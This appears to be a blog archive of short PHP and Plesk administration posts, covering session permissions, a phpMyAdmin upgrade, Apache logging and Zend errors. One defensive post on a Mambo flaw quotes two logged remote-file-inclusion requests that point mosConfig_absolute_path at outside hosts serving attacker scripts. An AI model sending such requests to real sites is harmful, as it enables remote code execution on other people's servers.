Archive for the ‘php’ Category

PHP on domain running via CGI/FastCGI and sessions problem

Friday, May 7th, 2010

In CGI or FastCGI modes PHP runs with permissions of the domains FTP user.

FTP user is not allowed to write in the sessions directory. This means that customer who run php in cgi can not use sessions.

(more…)

How to upgrade phpMyAdmin in Plesk 9.x

Friday, May 7th, 2010

Parallels has a patched version of phpMyAdmin-2.11.?9.5-all-languages and script to migrate settings from phpMyAdmin-2.8.2.4 installed with Plesk.

To install phpMyAdmin 2.11.?9.5 you need to:

1. Download the archive and unpack it.

~# wget http://download1.parallels.com/Plesk/Autoupdate/phpmyadmin.zip
~# unzip phpMyAdmin.zip

2. Extract patched phpMyAdmin:

~# cd phpMyAdmin
~# tar -xzf phpMyAdmin-2.11.9.5-all-languages.tar.gz

3. Migrate settings from installed phpMyAdmin to new one:

~# cd phpMyAdmin-2.11.9.5-all-languages && sh ../migrate_settings.sh

4. Backup files of installed phpMyAdmin (you can remove it later):

~# mv /usr/local/psa/admin/htdocs/domains/databases/phpMyAdmin /usr/local/psa/admin/htdocs/domains/databases/phpMyAdmin.old

5. Move files of new phpMyAdmin to Parallels Panel root directory:

~# cd ../
~# mv phpMyAdmin-2.11.9.5-all-languages /usr/local/psa/admin/htdocs/domains/databases/phpMyAdmin

Article source here

How To log apache errors to a custom file

Wednesday, December 16th, 2009

Ever needed to solve a matter in your php website but you could not see the errors or didn’t have access to the error_log of your vhost?

a workarround:

(more…)

Mambo mosConfig_absolute_path exploit & solution

Wednesday, December 16th, 2009

I know that not lots of people use mambo these days, and most of them upgraded to joomla 1.5 but in case you happen to have one hosted in your server, there is a known vulnerability , hack scripts using the mosConfig_absolute_path variable to load malicious code from other webhosts ,and that gives them the ability to run scirpts (you surely dont wont) in your server.

an example is requests like the above in the access files of apache:

/CMS//index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=
1&GLOBALS=mosConfig_absolute_path=http://www.rgboy.fi//spreadz.txt??

/CMS//index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=
1&GLOBALS=&mosConfig_absolute_path=http://forum.redglove.it//c.txt??

securing/hardening the tmp is one thing, but wont do the job, the rules of the latest Mod Security are not easy at all to write , you have to be good in regular expressions.

What did the trick in my case is re-write rules. (more…)

Zend Optimizer error : Failed loading /usr/local/Zend/lib/ZendExtensionManager.so

Tuesday, July 8th, 2008

After Zend Optimizer installation you get the following error:

Failed loading /usr/local/Zend/lib/ZendExtensionManager.so:
/usr/local/Zend/lib/ZendExtensionManager.so: failed to map segment from shared object: Permission denied

this is because of (more…)

BBCLONE installation in Plesk (linux) – HOW TO

Tuesday, July 8th, 2008

After you install BBCLONE from Plesk’s applications , its not working at all, you can navigate to its page but it doesnt count anything.

In order to make it start counting you have to do the following: (more…)